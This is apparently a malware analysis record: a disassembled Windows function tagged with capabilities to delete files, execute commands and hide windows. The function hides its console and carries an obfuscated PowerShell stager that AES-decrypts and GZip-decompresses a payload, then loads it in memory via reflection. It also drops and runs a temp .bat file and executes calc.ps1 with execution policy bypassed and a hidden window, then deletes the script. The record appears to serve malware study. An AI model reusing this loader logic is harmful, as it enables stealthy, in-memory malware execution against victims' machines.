Function at 0x1cb4e15a0
Capabilities:
Delete file
Execute command
Hide graphical window

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1cb4e1a30
mov ecx, 0xc057
call sub.libstdc_6.dll_operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.title___r_nset__utrHLo__r_nset__nCXdnvo__r_nset__Xjoilect__r_nset__OCPTbyp__r_nset__LBhxprof__r_nset__WLBxpmEVdMnPDxbndPFgecho_cls_powershell___r_nset__dTQHSfnsWwKawFIJSTra_w_hidden_function_d__r_nset__XbZlVyFrABPVWaudUTFkecrypt_function__par__r_nset__YmYHcntYOsvjyEibTFMtam_var__t_aes_var_S__r_nset__AWRvGPdvkFPYohbLcsjIystem.Security.Crypt__r_nset__fGCifFxsRskohlJcvDamography.Aes_::Create__r_nset__kXNjCxVrCxYAweoUuIpa____t_aes_var.Mode_S__r_nset__sLDRvAQcxZqzsWxhSsFIystem.Security.Crypt__r_nset__KfPutJRdWPHMnZUyuVOcography.CipherMode_:__r_nset__GSTDhzhAGhbcdGqmWjyL:CBC__t_aes_var.Paddi__r_nset__INfIsEltbZNXDDcRmmmUng_System.Security.__r_nset__BrxPOFJHIICkxctTMklDCryptography.Padding__r_nset__oOyHtdyzDzZKWDjrqqUMMode_::PKCS7__t_aes_v__r_nset__VDKtwCzBkjecbJGNSPvKar.Key_System.Conve__r_nset__gjdjISoTScCwqyIKdfkRrt_::FromBase64Strin__r_nset__DXpuuXJmXwyAUjGLABKEg_hZRWpT2lFYE_mvWow__r_nset__oGIhGILDbVJNFEhjUJPLzBR3vYvOEtl8nJqEVGkP__r_nset__jbWwDcChRWjCvGDXphNMAm30mk___t_aes_var.__r_nset__lflbNLVqcwQQLYvmKmEEIV_System.Convert_:__r_nset__fELeMgsYajUNWdAdQUIS:FromBase64String_8__r_nset__hleugtQwlrndDjGGugpGZ8hvKP03J6XyowNbcQR__r_nset__tWpSCdUIyrvPDLwUzqYtw___t_decryptor_va__r_nset__pVNJWRkMwTIKEczlWlRdr_aes_var.CreateDec__r_nset__yhXTVxzRMMgehWqxiFWLryptor____t_return_va__r_nset__ShmFILlBmlXoyVUhXTOyr_decryptor_var.Tra__r_nset__rtaKMECHLbdqpgkqVskknsformFinalBlock__pa__r_nset__mYFBOSFmbizoRyuzhBTeram_var__0___param_v__r_nset__iDPkhGYsKEmFJEmtNyWTar.Length___t_decrypt__r_nset__ZpGCBOzQLLiuzgbIivthor_var.Dispose____t_a__r_nset__UmBxWUFmlaLJFZeTXmItes_var.Dispose____t_r__r_nset__hiGZwRgCDDkseOZMNjGHeturn_var_function___r_nset__jmFKZyPzbiLVMaaLGCafdecompress_function___r_nset__OcJHQtEQasfOGakUCVaX_param_var__t_Xayog__r_nset__cGBuSpFeOngliBTgCXUFNew_Object_System.IO__r_nset__UYzJcXoLPfjKBddhBpPA.MemoryStream___para__r_nset__NAcNmTFfhesFbvddhRrUm_var___t_RgCYANew_O__r_nset__aUoIewKfyLEnhtRuWLxjbject_System.IO.Memo__r_nset__rjDLNDJgaZZJXUATltIQryStream__t_zWOgYNew__r_nset__jAHvzexHDJhvuiDQqDVA_Object_System.IO.Co__r_nset__MDfyLVqnTYjCcHaRChmImpression.GZipStream__r_nset__gbDrSEoOrJCHxidFvjKE__Xayog___IO.Compres__r_nset__OjOEzEsNiLoirntKaOFhsion.CompressionMode__r_nset__GBVjvBfUDuvtxHTWnYRo_::Decompress___t_zWO__r_nset__lAGFvuqkOsEHDCXmoEiYgY.CopyTo__RgCYA___t___r_nset__yykNqVKJtxxcWqWfVqNbzWOgY.Dispose____t_Xa__r_nset__kVflPOPVKHIIPSQMqSpAyog.Dispose____t_RgCY__r_nset__JHQrVCKmFRqXRhNDtYXBA.Dispose____t_RgCYA.__r_nset__fOYMOOmeAjPdanrDeOqmToArray___function___r_nset__dDpSqKRHemtsUNuUIeCgexecute_function__pa__r_nset__qGLwcnWDQkyEHLyCzgvdram_var__param2_var___r_nset__WEZoPwinSwValjWxRTPd_t_RPDRm_System.Ref__r_nset__NoQUOOKjpSvBIykLGxGF_Xjoi_ion.Assembly_::L__r_nset__eJLupytyOaKFrspINfAboad__byte____param_v__r_nset__MZXZatsMZkRunjYeCwFpar___t_LCXto_RPDRm.E__r_nset__vmupiQkpiBXAXETeMLuVntryPoint__t_LCXto.In__r_nset__gGyDiqshulfrAkGAEIQkvoke__null___param2___r_nset__icExmqxIqTsQcJjONQgSvar___YrzFk___f0__r_nset__xdVWwGaMYszdUjNdcbqS__host.UI.RawUI.Win__r_nset__TJQATopRaRNOBYMegHbGdowTitle___YrzFk__y__r_nset__qKJYtoWSVfLMzoZOmvdhBNAY_System.IO.File__r_nset__rjMhFLCWxIXvZKCiZSgF_::ReadAllText__YrzF__r_nset__swVUgbonZYSLDUpgXCsIk_.Split__Environmen__r_nset__LZvniqMPMQOuoxOUoRaDt_::NewLine__foreach__r_nset__xoXzQlRfvvlxzyTsbILQ___gUKkf_in__yBNAY____r_nset__oyBijxwffvSgBPkxcVwX_tif___gUKkf.StartsW__r_nset__yGuqFrUQEwSFgkoYNOpsith_QvurwtDdPaDzdxu__r_nset__PLaZDfVKnwqglOrIekDSDsTaS___t_t_t_OSWfd___r_nset__DFBJCmZqAlJoGehMGuNAgUKkf.Substring_20____r_nset__wkDigMurTGUDlxPjkrxq_t_tbreak__t_payloads__r_nset__fEkcMbAhGFcKwcwsctCQ_var_string____OSWf__r_nset__RIxTqgcioYBoXxvRaBved.Split____payloa__r_nset__lnKnEkgibwhROGywgqLFd1_vardecompress_fu__r_nset__ZrSIdNMZHEsBXyEEXkognction__decrypt_func__r_nset__aUgSQKAqYYKJPQeUucjRtion___Convert_::Fro__r_nset__xhAwdGTqbUzWbEFfkaRtmBase64String__paylo__r_nset__nwaJUJLhtKkUbxIStKOkads_var_0_.Replace___r_nset__RjpeyOHlkZJtkQDbgQCu____.Replace____r_nset__VLWqJEVDVMLAmHBdgWlf__A_____
mov edx, 0xc057
mov r8, rdx
mov rdx, rax
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1cb4e1a10
mov dword [rbp + 0x39c], 0
jmp 0x1cb4e169a
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [0x1cb4e36b0]
mov rcx, rax
call fcn.1cb4e1aa0
mov rbx, rax
mov ecx, 2
call fcn.1cb4e36f0
mov edx, eax
mov rcx, rbx
call fcn.1cb4e1a00
mov rbx, rax
mov ecx, 0x30
call fcn.1cb4e3700
mov edx, eax
mov rcx, rbx
call fcn.1cb4e19f8
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call fcn.1cb4e1a98
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0xc056
jle 0x1cb4e1628
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call fcn.1cb4e1ab0
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call fcn.1cb4e3860
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1cb4f10e5]
mov rcx, rax
call fcn.1cb4e37c0
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1cb4e1a18
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.1cb4e1a28
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1cb4e1a28
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call fcn.1cb4e1a20
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call fcn.1cb4e1a78
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call fcn.1cb4e1aa8
test al, al
je 0x1cb4e182d
mov ecx, 0x20
call sub.libstdc_6.dll___cxa_allocate_exception
mov rbx, rax
call fcn.1cb4e1a68
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call fcn.1cb4e34e0
mov r8, qword [0x1cb4f14c0]
lea rax, sym.imp.libstdc_6.dll_operator_delete___void_
mov rdx, rax
mov rcx, rbx
call sub.libstdc_6.dll___cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1cb4e19f0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1cb4e1a80
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_system
lea rax, str.calc.ps1
mov rcx, rax
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
cmp qword [rbp + 0x390], 0
je 0x1cb4e1883
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sub.libstdc_6.dll_operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1cb4e1a70
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1cb4e1a28
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1cb4e1a08
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1cb4e1a28
jmp 0x1cb4e1950
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret